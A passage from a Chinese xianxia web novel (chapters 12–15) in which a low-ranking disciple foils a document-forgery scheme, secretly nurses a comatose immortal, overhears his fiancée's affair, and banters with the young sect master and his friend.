“中午吃了饭,没什么事就到处逛了逛。”温微竹任陈青叶抱着胳膊,摸了摸她的头,“等了很久吗?是不是水都没喝?我给你们倒点水。”
“别忙活了。过来坐,看我给你带什么好吃的了。”陈青叶拉着温微竹在桌子旁坐下,从篮子里拿出一个类似梨的水果,递给温微竹。
“这是什么?”温微竹接过,拿在手中端详。
陈青叶开心地介绍:“琵石梨,它可不是普通的梨,是一级灵果呢,快尝尝。”
温微竹起身,盛了点水,洗了之后,咬了一口,点头道:“嗯,鲜嫩多汁,比普通梨好吃。谢谢青叶。”
“那是,我可是有什么好东西都想着你。”陈青叶半倚在温微竹肩膀上撒娇,“这些天,你一个人呆在这里怎么样?怕不怕?要不我让胡司敬再想想办法,把你调去别的地方。”
“别为难胡师兄了,我在这里挺好的。没什么事做,又安静,比以前在厨房可好多了。”温微竹拂了拂陈青叶耳旁的碎发,脸上带着祥和的笑容,“还要多谢你和胡师兄呢。”
陈青叶呵呵乐,“我们是好姐妹嘛,当然要互帮互助。”
12. 算计之人反被算计
两人闲聊了一会,温微竹问:“今天你们怎么过来了?”
胡司敬掏出一沓文件,递到温微竹面前:“温师妹,是这样,你和青叶从外门进内门,还有一些文件需要签名,我今天都带过来了,你一起签了,免得以后还要经常跑。”
温微竹接过来一看,前面有几个是和人事交接有关的,后面有一个空白册子,温微竹仔细看了一下,和她在物资签领处看到的册子基本一样。
温微竹眯了眯眼,装作不懂道:“这个是什么?我不识字。”
胡司敬惊讶地睁大了双眼,看了一眼陈青叶,又看向温微竹,问:“温师妹,你不识字?”
温微竹露出一个尴尬的笑,“胡师兄为什么会觉得我识字?我没上过学堂。”
胡司敬噎了一下,他总不能说温微竹长得就像是一个会琴棋书画的大家闺秀吧?
他轻咳了一下,道:“青叶都没跟我说过,我以为你识字呢。”
“我也不知道呢,微竹,原来你不识字啊。”陈青叶回想了一通,搜不出与之有关的记忆来,主要是外门也接触不到和文字有关的东西。
温微竹羞赧一笑,“不要笑话我。”
“怎么会,不识字的多了,也不是什么丢人的事。”陈青叶笑意盈盈,在温微竹肩膀蹭蹭安慰她。
胡司敬见温微竹确实不识字,也忍不住笑了起来。
这样事情更好解决了。
他指着好几个需要签名的地方,让温微竹签字。
“这些是人事移交和薪酬管理的文件,以后你在内门工作,薪酬也是在内门领,这些东西都要交接。”
温微竹拿着胡司敬递给她的笔,这些文件所有和日期有关的地方都空着,看来是打算捏造一直以来都是她在云萃峰照料的假象。
胡司敬仗着温微竹不识字,借口都懒得找,指着要签字的地方就让她签。
温微竹也非常配合,他指哪,就乖乖在哪里签字,连问都不多余问一句。
瞧着温微竹那全然信任的模样,胡司敬心中既有真好搞定的得意,又有些微的负罪感。
很快,温微竹就签完了所有的地方。
揉了揉酸痛的手腕,温微竹随口抱怨般问:“怎么这么多地方要签?”
胡司敬胡乱敷衍:“内门工序繁杂,就是这样的。”
温微竹笑笑,也不再说什么。
胡司敬拿过温微竹所有签好的文件的一看,顿时两眼一黑。
他强忍着怒气,咬牙道:“温师妹,我是让你签你自己的名字!”
温微竹一脸无辜:“我是写的我自己的名字啊。”
胡司敬指着怎么看都像是写着“吃屎”两个字的签名,咬牙切齿问:“你看这是你的名字吗?”
温微竹一副做错事的怯懦模样,小心翼翼道:“我不识字,我刚进宗门的时候,有个师兄就是教我这么写的,不对吗?”
胡司敬噎了一下。
温微竹明显是刚进宗门的时候,因为不识字,被人捉弄了啊!
“虽然有很长时间没写了,但我应该没记错,之前在外门一直也是这么签的。”温微竹又弱弱补充。
她甚至在一旁桌子上又写了一遍,还是跟“吃屎”两个字极为相像。
胡司敬看着满文件的“吃屎”两个字,再看看桌子上那如出一辙的“吃屎”两个字,此刻的心情真就跟吃了屎一样。
憋屈,还发不出来脾气。
他若是要重新弄吧,他还得回去把这些文件全都重新准备一遍,而且他还得教温微竹写自己的名字。
关键是“温微竹”这三个字也不简单,温微竹能不能学会不好说,就算真的学会了,等之后,拿这些文件来比对的时候,结果温微竹忘记自己名字怎么写了,到时候不是搬起石头砸自己的脚?
“吃屎”就吃屎吧。
至少温微竹认为这是她的名字,到时候真要用到这些东西的时候,让她签自己名字,“吃屎”二字独具一格,更说明这些文件都是她本人签的。
这么一想,胡司敬觉得挺好。
温微竹见胡司敬脸色一会青一会白,盯着文件不说话,忐忑追问:“胡师兄,我写的有问题吗?”
胡司敬收起文件,朝温微竹笑了笑,摇摇头道:“没问题,我刚可能看叉了。”
目送胡司敬与陈青叶离开云萃峰,温微竹回身拿抹布将主厅的桌子凳子全都擦了一遍。
又等了一会,确保两人不会再回来,她才去灰乌鸦的窝里拿她藏在那里的灵石。
灰乌鸦见温微竹要拿灵石,不乐意,伸脑袋啄她。
她拍了拍灰乌鸦的脑袋,推开它:“别闹,这是你主人要用的,过会给你好吃的。”
说着,就强行掏走了灵石。
将中品灵石放入阵眼之中,黯淡的阵法缓慢地亮了起来。
眼看着阵法一闪一闪地发着亮光,温微竹才总算松了口气。
现在,她起码不用时刻记挂着隔一个时辰得给无息仙尊翻个身。
他身上的褥疮也能很快好起来。
“你得活着啊。”温微竹轻声呢喃。
等温微竹从房间内出来,灰乌鸦迫不及待地飞到温微竹身边嘎嘎讨要东西。
温微竹拍了拍灰乌鸦,拿回藏在拐角处的篮子。
这个篮子里装着树思鸟的内脏,灰乌鸦一看,两眼一亮,就要去啄最中间的那颗心脏。
温微竹眼疾手快用右手抓住它的脖子,左手将心脏单独用碗装起,警告灰乌鸦:“这个不行,这个得留着给你的主人,其他的可以都归你。”
将灰乌鸦打发到一边去吃东西,温微竹拿起树思鸟的心脏简单清洗,然后切成小片,用小碗装起来。
简单撒点盐,再撒点花椒,放在锅里蒸。
没有内丹的灵物,心脏是灵力最强盛的地方。
之前胡司敬说过,无息仙尊的身体有灵力支撑,不需要进食。
从无息仙尊现在的身体状态来看,他体内的灵力定是已经枯竭。
温微竹只能想她能想到的方法试试,能不能让无息仙尊的身体有所好转。
安静的院子里,一人一鸟并肩而立。
灰乌鸦在大快朵颐,温微竹守着火,慢慢蒸。
等灰乌鸦吃完了,温微竹蒸的东西也
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可以出锅了。
将小碗里的汤汁倒出,温微竹拿了汤勺,进了屋子。
这样蒸出来的汤汁非常少,但全都是精华,温微竹耐心细致地将汤汁全部喂进了无息仙尊的嘴里。
果然不出温微竹所料,喝下汤汁之后,无息仙尊的脸色肉眼可见有气色起来。
将小半碗汤汁都喂下去,温微竹胳膊都酸了。
她揉着胳膊出来的时候,发现灰乌鸦站在桌子上,眼馋桌子上蒸出来的树思鸟心脏,但却没有动嘴。
温微竹放下手中碗勺,看了一眼,一片都没少,忍不住表扬灰乌鸦:“你还不错嘛,没有偷吃。”
拾起筷子,夹了一块递给灰乌鸦,灰乌鸦张个大嘴,吃得嘎嘎开心。
两人你一片我一片,很快就把一小碗吃完了。
收拾碗筷之时,温微竹嘱咐灰乌鸦:“下次有其他人来云萃峰,你最好是躲起来,别被抓走吃掉了。”
灰乌鸦嘎嘎叫两声,不开心地回自己窝里去了。
下午没什么事,温微竹决定去一趟藏书阁。
中品灵石的问题暂时解决了。
但无息仙尊不能一直这么躺下去。
她总得做点什么。
可她又毫无头绪,既不知晓当初无息仙尊受的什么伤,又不知道这种情况应该怎么治疗,最关键的是,她不知道这个宗门里,是否还有人在意无息仙尊的生死。
她现在又不能在宗门乱打听,万一被王管事他们发觉,到时候,无息仙尊的事情没解决,倒让王管事之流把她先解决了。
来到藏书阁,温微竹打算先去翻翻记录两年前事件的书籍,了解一下当时的情况。
她按照历史事件的分类,挨个找,最后发现两年前的书在非常偏僻的一个角落,这就算了,那要找的时间段还在这个书架的最顶端,需要爬梯子上去才能找到。
望着三米多高的书架顶,温微竹发出了灵魂质问:设计藏书阁的人脑子是怎么想?这么高的书架,顶部的书真的有人能找到吗?
温微竹顺着一旁的梯子爬上去,还好最上面正好有一扇窗,在顶部营造了一小片光亮的位置。
温微竹随意抽了一本书出来看,借着窗户的光,翻阅起来毫无障碍。
设计师,我真是错怪你了。
你这个窗户设计绝佳!
梯子与书架本身是一体式,在顶端有一个稍微平整的地方。
温微竹看书速度非常快,因此懒得上上下下,直接坐在梯子顶端一本一本的翻。
翻了大概五六本,都没找她想要的。
这时忽然传来脚步声。
这边光线太暗,又加上是历史类书籍,几乎没什么人过来,但温微竹不知道这些,也就没在意过来的人。
结果……
碰上了野鸳鸯。
去哪里乱搞不好,为什么要来藏书阁?是常阳宗的山峰不够多?还是不够大?
温微竹十分无语。
她坐在书架上方,虽然窗户有点天光,但不足以照亮她的身影,简直可以说是完美的隐身地。
但她对偷听这种墙角毫无兴趣!
13. 听墙角
温微竹做梦都没想到自己好端端看着书呢,还能碰到这种糟心事。
最关键的是,她刚开始没在意来人,等下面传出奇怪声响的时候,她已经骑虎难下。
她也不敢贸然现身,要是普通的野鸳鸯就算了。
万一对方的关系不那么正经,怕她泄露风声,选择杀人灭口,那她岂不是白白遭受飞来横祸。
温微竹衡量了一番,最终决定屏气凝神,尽量降低自己的存在感,等那对野鸳鸯完事离去。
可事与愿违。
那两人扯东扯西,说个不停,让人烦不胜烦。
就不能闷声干完走人吗?温微竹翻白眼在心里吐槽。
两人说了一堆调情的话后,那个女的突然说:“你听说少宗主今天和一个女弟子一起走了吗?”
“没听说,什么人?还有栗烈能看上眼的女弟子?他不是连你都看不上?”那个男的轻蔑地说。
“不知道,听说是新进内门的,没什么人认识。要不我去帮你打听打听?”那女的说完,又娇媚地说:“谁稀罕他看上,只要你能看上我就行,我也只看得上你。”
那男的冷哼了一声,“你是看上我,还是看上我天灵根的资质?你的天灵根未婚夫还躺在床上人事不知呢,你却在这里勾三勾四的,不怕他有一天醒来找你算账?”
那女的娇叫了一声,“哎呀,他要是能醒来还有你什么事。他当初怎么就不直接死了呢!害得我为了他一直守活寡!”
那男的笑道:“你这叫守活寡吗?你要不要看看你现在在做什么?要不下次在他的床头做,让他知道你这样为他守活寡,后悔没有当时直接死掉,而是半死不活地躺在床上?”
“提议很好,但实现不了。”那女的毫无廉耻地说,“云萃峰我能进去,但你进不去,有他的剑镇着,想要进去的人要先经过宗主同意。”
“那我跟宗主找个借口,说去探望一下我们常阳宗的英雄,应该会让去吧。”那男的竟然还认真思索了一番。
“不会,宗主不让任何人去探望。”那女的说。
“为什么?”男的不解地问。
“这是秘密,可不能告诉你。”那女的娇媚地说。
接下来的一番污言秽语简直没法听。
而在高处角落里的温微竹早已四肢冰冷。
她死死咬着嘴唇,拽住衣裳,费了很大力气,才控制自己,没让自己发出声音,也没让自己冲出去跟对方拼命。
那两人搞了很久才走,等那两人消失很久之后,温微竹才动了动自己的早已僵硬的身子。
等自己四肢都活动起来,她才从书架上下来,离开了藏书阁。
温微竹失魂落魄地回到云萃峰,坐在无息仙尊床头,她却一句话也说不出来。
说什么呢?
说你的未婚妻背叛了你。
宗主不让他人来探望你,所以昏迷的你至今无人问津。
你躺在这里孤寂地等待死亡,没有人记挂你,没有人想要拯救你。
那、那些年,你为常阳宗付出的算什么?
温微竹捂着脸,光是控制自己汹涌翻腾的黑暗情绪就花了很长时间。
最终,她终于恢复了冷漠,望着被她丢在床头的佩剑,叮嘱道:“废剑,既然是你在镇着云萃峰,那从现在开始,不允许仙尊的未婚妻踏入这里一步。我不管以前是谁给你立的规矩,现在是我在照顾仙尊,你就要按我的规矩来。如果有一天,我看见仙尊的未婚妻出现在山头,那就别怪我不客气,直接将你和仙尊埋了,死了痛快。”
床边的剑身有光芒一闪而过,但温微竹看不见。
也不管这把废剑能不能听懂,说完,温微竹就离开房间,回了自己房间。
第二天天一亮,温微竹就爬起床,去了最早的一堂课,直接将陈典堵在了课堂门口。
陈典最近一直都避着温微竹,没想到温微竹反而来堵他,他警惕地看着温微竹:“你干什么?你不是不上符箓课的吗?不会忽然又想找我麻烦了吧?”
温微竹懒得管他,开门见山问:“跟你打听一个人,宗门是不是有个天灵根的弟子?跟我说说这个人。”
陈典难以置信上下打量温微竹,“你是不是太过自信了?先是想勾搭少宗主,现在又想勾搭蒋明祐师兄……”
温微竹视线紧盯着陈典,直接打断他道:“他叫蒋明祐,哪个峰的?平时过来上课吗?会去哪些地方?”
眼前看起来柔柔弱弱的女子咄咄逼人的气势让陈典有些难以招架,他环顾了一下四周,见大部分人各自干各自的事情,并没有注意这边。
他放低了声音,道:“蒋师兄是宜行峰高长老的真传弟子,根本不会来中堂上课,想见到他,得去宜行峰,其他地方只能看运气。”
说完,陈典还是忍不住打击温微竹:“你就别做梦了,到底把内门当什么了!有点手段,也不是内门所有人你想拿捏就能拿捏的啊!”
常阳宗内普通的内门弟子只能去公共的一些场所,像各个山峰的核心地带,只有宗门的高层与关门弟子才能进。
那看来,蒋明祐她不是那么好接近。
“行了,你走吧。”温微竹朝陈典挥挥手,转身离开了中堂。
蒋明祐她可以找陈典打听,因为陈典会认为她是想要勾搭对方,但无息仙尊的未婚妻,她却不能轻易乱打听,免得引起陈典不必要的怀疑。
一时之间没有头绪,温微竹还是决定先去藏书阁,把昨天没有看完的那排书看完。
重新回到昨天的位置,想到昨日这里发生的事情,温微竹就觉得恶心。
她爬到最上面,一下子抱一大把书拿下来,找个僻静的角落,慢慢看。
突破她底线的是,她看完打算把书放回原位时,又听到了那熟悉的声音。
这两人是完全不要脸了。
温微竹正琢磨着要不直接去把其他人引过来,撞破两人的奸情,却听到一个陌生的男声。
“丁师姐,我不想再偷偷摸摸了,我去跟宗主提,让宗主做主解除你的婚约,这样我们就能正大光明在一起了。”
温微竹离开的脚步顿住。
“林师弟,我也想解除婚约,可是,除
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非无息仙尊死了,否则宗主不会同意的。”丁师姐呜呜咽咽,“只要我们相爱,能不能公开,我都不在乎。”
“那无息仙尊就一直这么躺着,我们就一直要这么偷偷摸摸的吗?”那林师弟听起来很委屈,将所有的怨愤都发泄在那个不死不活的人身上。
“难道因为这样你就不爱我了吗?你要是受不了,那我们就断了吧。”
两人哀哀怨怨的谈了半天,倒是一点不影响他们办事。
温微竹神情凝重离去,在藏书阁找了个视野最好的地方,盯着藏书阁的出入口。
很快,她就看到了一个身穿紫衫的女子,言笑晏晏,与一同样身穿紫衫的男弟子边说边离开了藏书阁。
不是普通的素青色的弟子服,对方起码是关门弟子或者真传第子。
能成为无息仙尊的未婚妻背景必定不一般,但现在除了对方姓丁,也没有太多信息。
温微竹正思索间,突然想起灵物百科马上要上课了。
将书放回原处,温微竹急忙赶往了灵物百科的课堂。
不出所料,早已挤满了人。
大家为什么对少宗主趋之若鹜又不敢真的靠近?
温微竹有些难以理解。
前面早已没有位置,温微竹只得找了个角落的空位坐下。
刚坐下就感觉系在腰间的传音螺在震动。
温微竹拿起来一听,听见少宗主简短的命令:“坐这来。”
温微竹瞟了一眼,少宗主身旁确实有空位。
“我坐这就行。”温微竹对着传音螺说。
她想起昨日丁师姐谈到了她,她若是跟少宗主交际太显眼,总有人会去查她的身份。
到时候引起把她当替罪羊的人的注意,就得不偿失。
现在她还不确定整个宗门对无息仙尊是什么态度,太过引人注目只会引起幕后之人的警觉。
当她只是一颗安静乖巧的棋子时,幕后之人会在一定程度上保护她。
一旦她的存在有暴露那些人的风险,那么她会第一时间被舍弃。
她会靠近少宗主纯粹是为了赚灵石,若因此引得广泛关注,最终被当作弃子。
那无异于直接找死。
温微竹抿唇。
她以后还是得更注重人前跟少宗主的距离才行。
少宗主没再传音,估计见她推辞,也就不强求。
温微竹想了想,又给少宗主发了个传音:少宗主,下课后,我自己去灵深峰可以吗?
这下,温微竹刚放下传音螺就传来了震动。
“不行,没人带,你进不去。”少宗主的声音很冷漠疏离。
温微竹先是叹了口气,想着怎么才能避开在公众场合与少宗主产生交集。
随后,鬼使神差地忽然意识到,少宗主好像是生气了。
这种感觉有点新奇。
于文峥四处张望,看见坐在角落里的温微竹,他拍了拍栗烈的肩膀,凑到栗烈身边道:“温师妹怎么不过来?躲在那个角落里干什么?”
栗烈冷着脸回:“不知道,你问。”
14. 和少宗主保持距离
于文峥只是随口一问,并不是真的想要追根究底。
但栗烈会这么说,代表他是真的不理解,不明白。
于文峥不禁哑然失笑。
他的生活环境不比栗烈。
他家虽然家世不错,但兄弟姐妹良多,他从出生开始,就生活在竞争激烈的环境之中,因此对人际关系与情绪更为敏感。
就好像昨日他能注意到温微竹的忙碌与劳累,但栗烈关注不到这些。
想到栗烈昨日送走温微竹后,还特意来问他。
“为什么你会注意到这些?”当时栗烈问得很真诚。
于文峥意外地看向栗烈。
栗烈堂堂一个从小被捧到大的少宗主要是能注意到这些才怪呢!
他现在会问这个问题,就够不符合他的身份了好吧!
“因为你是少宗主,不用注意这些。”于文峥靠在椅子上懒懒回答。
见栗烈还是不太明白的样子。
于文峥忍不住坐直了身子,张开双手比量栗烈的全身,道:“你看看你自己,要家世有家世,要天赋有天赋,要相貌有相貌。你这样的人,还需要在乎其他人活得开不开心,累不累,心情怎么样吗?还不是自己开心就行。”
于文峥又躺会去,用手指指了指自己,接着道:“但普通人不一样,普通人要考虑他人的感受,才能生存。”
于文峥就差把“我若是有你这个条件,我也不用忍耐你的事儿精和暴脾气。”这句话直说了。
栗烈似懂非懂,也不知道是不是真懂,总之没再说话了。
现在,让这样一个人,去考虑杂灵根弟子不敢跟他少宗主正大光明坐在一起的理由,确实有点难。
于文峥已经把温微竹当作难兄难弟,觉得自己有必要在栗烈这里为温微竹解释一下她的难处。
他不顾严长老已经开始讲课,在栗烈的耳边压低声音说:“你想想,这课堂里有多少女弟子是冲你来的,如果让她们知道,你为了温师妹破例,她们会怎么对温师妹?”
“会怎么?”栗烈问。
于文峥啧了一声,“当然是趁你不在的时候欺负她啊。她一个杂灵根弟子,一点修为都没有,打得过谁,还不是只有挨打的份。”
栗烈愣了一下,随后说了句让于文峥吐大血的话。
栗烈说:“她是得好好修炼,修为太低了。”
于文峥觉得栗烈无药可救,此生注定和他那把破剑过一辈子。
紧接着,栗烈继续说出了让他震裂眼眶的话语。
“她的资质太差了,能不能洗髓?”
“祖宗,你当洗髓是洗澡呢,说洗就洗。要是这么容易,资质不好的就都去洗了,你以为天赋难得是开玩笑吗?别自己拥有了,就觉得这个东西理所当然每个人都存在好吗?”
于文峥真怕栗烈打着为温微竹考虑的名义,把温微竹真的抓去洗髓。
他不放心地又警告一遍:“栗烈,洗髓不是开玩笑的,会要命的,你不要乱来。”
栗烈不解地看于文峥一眼,“我就随口一说。”
于文峥真想把他打一顿。
你随口一说,把我吓得够呛。
过了好一会,栗烈忽然又开口:“她确实该修炼,她连一个控制火候的阵法都控制不了。”
于文峥想起那个高阶控火阵法,那玩意他控制都有难度,栗烈竟然想让一个杂灵根弟子去控制?!
跟这些天才没法交流!
一整天都不想跟他说话!
下课后,两人起身,发现温微竹已经没了身影。
传讯螺里,温微竹留一下一句:“我在昨天离开的地方等你们。”
因上课于文峥解释的那些话,栗烈这次没有刚上课时那么生气。
他放下传讯螺,起身离开了课堂。
两人来到中堂广场,远远就瞧见温微竹站在一个穿着一身火红衣裳的人面前。
栗烈眼眸一凛,直接瞬移到了温微竹的身前,将温微竹挡在身后。
“你来中堂干什么?”栗烈质问。
一身红色衣裳的年轻男子看见栗烈,立马喜笑颜开,“当然是来找师弟你的啊。我正打算找这位小师妹问路,你就出现了。”
“找我什么事?”栗烈冷着脸问。
“对师兄不要这么冷淡嘛。”红衣男子看了看栗烈又看了栗烈身后的温微竹,“你是怕我伤害你身后这位小师妹吗?不要把我想得这么凶残嘛,我怎么会伤害第一次见面的小师妹,更何况小师妹还长得如此的惹人怜爱。”
栗烈拧眉,将温微竹护得更严实一些,“没什么事就滚回你的宜行峰修炼去!”
“说什么滚,对师兄可真是没礼貌。”红衣男子脸上的笑意也散了,“我就是听说你跟一个女弟子在一起,所以好奇来看看,得是多么的貌美如花才能让我这个对女色毫无兴趣的师弟动心呢。”
红衣男子话音刚落,身形如闪电,蓦然出现在栗烈的身后。
温微竹只是在余光中看到一抹红色一闪而过,紧接着,她就被栗烈抓住胳膊一扯,只听见身后传来金属激烈的撞击声。
“看好她。”栗烈直接将温微竹丢给飞奔而来的于文峥,便与那红衣男子交手起来。
于文峥扶住温微竹被甩出去的身形,将温微竹护在身后,看向交战的两人。
温微竹站稳后,惊魂甫定,望向交战的两人,问于文峥:“怎么回事?那人是谁?为什么忽然动手?”
“不用理他,他就是个疯子。”于文峥关注着交战的两人,思考着要不要去给宗主通风报信。
温微竹当然知道对方是谁,因为在某个黑暗的地方,她已经见过对方一次。
毕竟那套红色的衣裳,在一片素青色的弟子中,想不显眼都难。
她刚才来到广场的时候,第一时间就看见了这个人。
他当时站在广场里,特别的引人注目,很多弟子看见了他,都窸窸窣窣绕开了道。
温微竹正想接触一下他,便装作没注意到他,从离他不远不近的距离走过。
他本来站在广场上不知道在看什么,看见温微竹从近前走过,便叫住了她。
温
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微竹本想与之交谈,稍微了解一下这个人。
没想到少宗主出来的那么快,两人还一句话没说,少宗主就倏地出现,隔开了两人的距离。
两人一阵激烈打斗后,拉开距离。
红衣男子手中不知何时多了一把乌金铁扇,他闲散地扇了扇,道:“师弟如此着急,难道就是这位小师妹?”
栗烈还没说话,红衣男子接着说:“长得是小家碧玉,但也不过如此,师弟你眼光不行啊。”
栗烈咬牙还要打,于文峥急忙拉住他,劝道:“别跟他起冲突。我们走。”
就这么一耽搁的功夫,红衣男子已经瞬移到了温微竹的身边,“小师妹,要不要甩了栗师弟,跟我?我比栗师弟知情识趣,那个方面也比栗师弟那个童子鸡厉害得多……”
“但你不是吃货。”温微竹直接打断对方,“师兄可能误会了什么,我只是给少宗主做做饭而已。如果师兄对吃的感兴趣,我也可以给师兄做,只要给报酬就行。不过师兄未必会喜欢,毕竟我擅长做的都是一些味道比较浓的,例如臭豆腐之类,越臭越好吃。师兄若是喜欢这种风格的,可以随时来找我。”
红衣男子脸上的微笑渐渐冻住,他瞳孔振动看向栗烈,一副我没想到你的口味竟然如此特别的表情。
不止红衣男子,围观的人群也投来难以理解的眼神。
少宗主的名声严重被毁。
温微竹心虚地看向少宗主,少宗主脸色冰冷盯着红衣男子,看不出其他的。
于文峥也被温微竹惊到,不自觉放开了栗烈。
被松开的栗烈快步走到温微竹的身边,一把抓住温微竹的手腕。
“滚去修炼你的去,别让我再看见你。”栗烈警告完红衣男子,徒手抓空中划拉了几下。
金色的流光在空中闪现,栗烈朝于文峥抬了抬下巴,道:“走!”
话音刚落,三人便消失在金色的流光中。
红衣男子不由挑眉,意外地望着栗烈原地消失的地方,脸上露出意味深长的笑。
“有点意思。”红衣男子低喃,随后扬起一张艳丽的脸庞,朝众人露出魅惑的笑容:“下次再见咯,师弟师妹们。”
话音未落,红色的身影已消失在众人面前。
温微竹三人身形落定,骤降在了一处潭水边。
栗烈松开拽住温微竹手腕的手,温微竹瞟了一眼浑身散发着冰冷气息的少宗主,嗫嚅着道歉:“少宗主,我刚才是不是说错话了?”
栗烈不解地看向她,“怎么这么说?你做的很好。以后看见他就离他远点。”
“可是,我好像导致你的风评被害。”温微竹心底发虚,说话的声音越来越小。
栗烈顿了一下,垂眸看了低眉顺眼的温微竹一眼,淡淡道:“无所谓,我不在乎那些。”
温微竹不敢抬头。
一个修士对美食有口腹之欲,往好了说也可以说是潇洒不羁,不拘小格,大家也能称赞一声,真性情。
但若是这个人口味独特……
这……
就很难评。
15. 偷拍少宗主美妙身姿
站稳身形的于文峥走到近前,听见两人的话,想起刚才蒋明祐听了温微竹那番话语,僵住的神色,顿时忍不住笑出声。
他走到温微竹身旁,伸手拍了拍温微竹的肩膀,克制不住笑意,道:“温师妹,我真的是服了你了。我还是第一次见到有人恶心到了蒋明祐,一般都是他恶心别人。”
温微竹神色平静,栗烈表情也很正常,只有于文峥越想越觉得好笑,笑得都停不下来。
“还越臭越好吃。我估计他都能脑补到在吃屎了。”于文峥笑得很畅快,平常都是蒋明祐来恶心他和栗烈,现在终于看到他吃瘪,心里实在是太爽了。
见栗烈与温微竹都不笑,于文峥好不容易才收起笑,问:“你们不觉得好笑吗?那可是蒋明祐,光是站在那里就让人恶心的蒋明祐,刚刚可是成功让温师妹镇住了哦。”
栗烈不觉得好笑,只觉得很烦。
温微竹也没发现哪里有好笑的点,只是礼貌微笑。
于文峥瘪瘪嘴,翻了白眼,“行吧,跟你们没有共同话题。”
栗烈忽然侧头问温微竹:“你会做臭豆腐?”
温微竹震惊抬眸,“你不会真想尝尝吧?”
只有于文峥目瞪口呆,惊叫道:“不是,还真有那玩意啊!那东西真的能吃吗?不都说是臭的吗?”
栗烈用看傻子一样的眼神看于文峥。
温微竹盯着侧头看于文峥的栗烈,随后收回视线。
“越臭越香。”温微竹抬眸看向于文峥,“你要试试吗?”
于文峥的神色肉眼可见的凝固了,支支吾吾道:“这……我……还是谢谢温师妹的好意了。”
温微竹抿唇笑。
栗烈低眉看见温微竹嘴角的坏笑,眉目不由一动。
看起来一直逆来顺受,柔柔弱弱的温微竹,竟然还有坏心眼。
栗烈嘴角轻扬,道:“我想试试。”
温微竹嘴角的笑容顿住,抬眸望向栗烈,“你真想试啊?”
“怎么?你不会吗?”栗烈反问。
温微竹:“……倒也不是,就是工序比较复杂,耗时久一点。”
栗烈道:“没关系,我不怕等。”
于文峥不想再继续臭豆腐这个话题了,赶紧看向周围,转移话题问:“栗烈,你带我们来这里干什么?不回灵深峰做饭了?”
栗烈目光投向眼前深绿色的深潭,道:“我之前抓了一条倏鱼丢进了这个水潭里,不知道还有没有活着,我想把它抓来吃了。”
温微竹、于文峥:“……”
于文峥:“要不你下去找找,我和温师妹在岸上等你?”
栗烈的目光投向温微竹。
温微竹步子往后退退,拿出她的《灵物万千详解》,在栗烈面前摇摇,道:“我还没见过倏鱼,要不,我先在这本书上找找,等你抓到了,我好决定怎么做了吃?”
栗烈的目光落在《灵物万千详解》这本书上,又看向温微竹。
他上前,从温微竹手里将《灵物万千详解》拿走,翻了几下,再递给温微竹。
温微竹不明所以,接过来一看,书本展开的正是倏鱼这一页。
她微微睁大了双眼,惊讶感慨:“少宗主你对这本书这么熟悉?你已经看完了?这本书这么厚,看完得花不少时间吧?”
少宗主神情微妙。
倒是一旁于文峥捂着嘴偷笑。
温微竹神色莫名,自认为自己刚才说的话并没有什么问题。
虽然有阿谀奉承的嫌疑,但捧高少宗主也不算空穴来风。
栗烈冷冷地瞟了一眼捂嘴偷笑的于文峥,踹了他一脚,“再笑,就给我下水里去找鱼!”
于文峥立马闭上嘴,紧紧咬住嘴唇,坚定表示绝不再笑,“我在岸边保护温师妹。万一蒋明祐不讲武德来偷袭,我起码能抓着温师妹藏起来。”
栗烈白了于文峥一眼,没再说什么,将手中的剑递给于文峥时,叮嘱他:“管好你的嘴,别乱说话!”
于文峥感受到了威胁,连连点头。
栗烈走到潭边,看了温微竹一眼,就跃下了水面。
不出一会,栗烈灵活的身姿就消失在水面之中。
温微竹看向深潭,已经没有栗烈的身影,回头看见于文峥手中拿了颗珠子,好奇问:“于师兄,这是什么?”
“留影珠啊!你没见过?”于文峥将珠子举到温微竹的面前,“刚刚少宗主矫健的入水身姿我可是全录下了,回头拿去卖钱。”
于文峥笑得很奸诈,挺斯文的眼角挂着得意的笑。
他本来想收起来,见温微竹盯着他手中的珠子若有所思。
他灵机一动,“温师妹是不是也想要一颗?你等一下,我复制一颗,送给你。”
“这个还可以复制?”温微竹简直像发现了新大陆,温温柔柔的眼睛都亮了不少,增添了不少少女才有的灵动。
“费点灵力就行。”
于文峥从储物袋里拿出另外一颗留影珠,手中珠子亮起似有若无的蓝色光芒。
复制好之后,他将复制好的珠子递给温微竹,“给你留念。”
温微竹仔细端详手中的留影珠,发出一连串疑问:“这个怎么录?怎么看?什么地方能买?杂灵根能用吗?”
“你是想用吗?”于文峥没想到温微竹会对这个这么感兴趣,他掏出一颗崭新的留影珠,演示给她看。
“这个很简单,没门槛,念个咒语就行。”
温微竹看着于文峥刚录的影像,问:“这个只能录一次吗?”
“不会啊,你可以把之前的影像抹掉,重新再录。留影珠的空间有限,空间满了之后就录不上了,如果强行录的话,就会把之前的覆盖掉。”于文峥答。
“能被抹掉?”温微竹轻蹙眉头。
“不想被抹掉可以加密。”于文峥朝温微竹眨眼,“还可以限制复制哦。不然我卖一个她们就自己复制,我还赚什么钱。”
温微竹崇拜地看着于文峥。
这谁受得了,于文峥当即就把所有的方法都教给了温微竹,还免费送了温微竹一把留影珠。
“送你,送你。就当师兄送你的见面礼。”
“见面礼?”望着被塞手里的一把珠子,温微竹
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不解地问。
“唉,随便啦,反正就是送你了。”
水面传来声音,于文峥赶紧示意温微竹,“少宗主要出水了,你赶紧试一下,录下少宗主出水芙蓉的画面,定成爆款!”
温微竹拿出留影珠,按于文峥说的操作。
栗烈抓着一条大鱼,湿淋淋的出现在两人面前,他见两人鬼鬼祟祟的,问:“你们在干什么?”
“没有啊,等你呢。”于文峥看天看地。
温微竹藏起手中的留影珠,微笑,“等你的鱼。”
望着栗烈手里十来斤的三头鱼,温微竹发现一个重要问题,她还没看书!
“这鱼会不会有点大……”
栗烈:“吃不完没关系,我可以放储物戒里保鲜。”
温微竹:“好吧。我需要点其他的材料。”
“先回灵深峰,这附近镇子上能买到的厨房用具与调料,我几乎都买了。你到时候挑就行了。”栗烈将倏鱼放进储物戒,掐了个烘干诀,从于文峥手中拿过自己的剑。
“我御剑回去,你们用传送阵回去吧。”栗烈说完,就自己御剑走了。
温微竹有点懵,栗烈要是自己回去的话,他们刚才还等他干什么呢?
于文峥倒是见怪不怪,问温微竹刚才录得怎么样?
温微竹拿出留影珠,放出刚才的画面。
好一副美男出水图!
于文峥忍不住连连称赞,“温师妹,你可以啊,有点天赋。这角度,比我录的有感觉多了。卖不卖吗?”
温微竹摇摇头,把留影珠递给于文峥:“给你。”
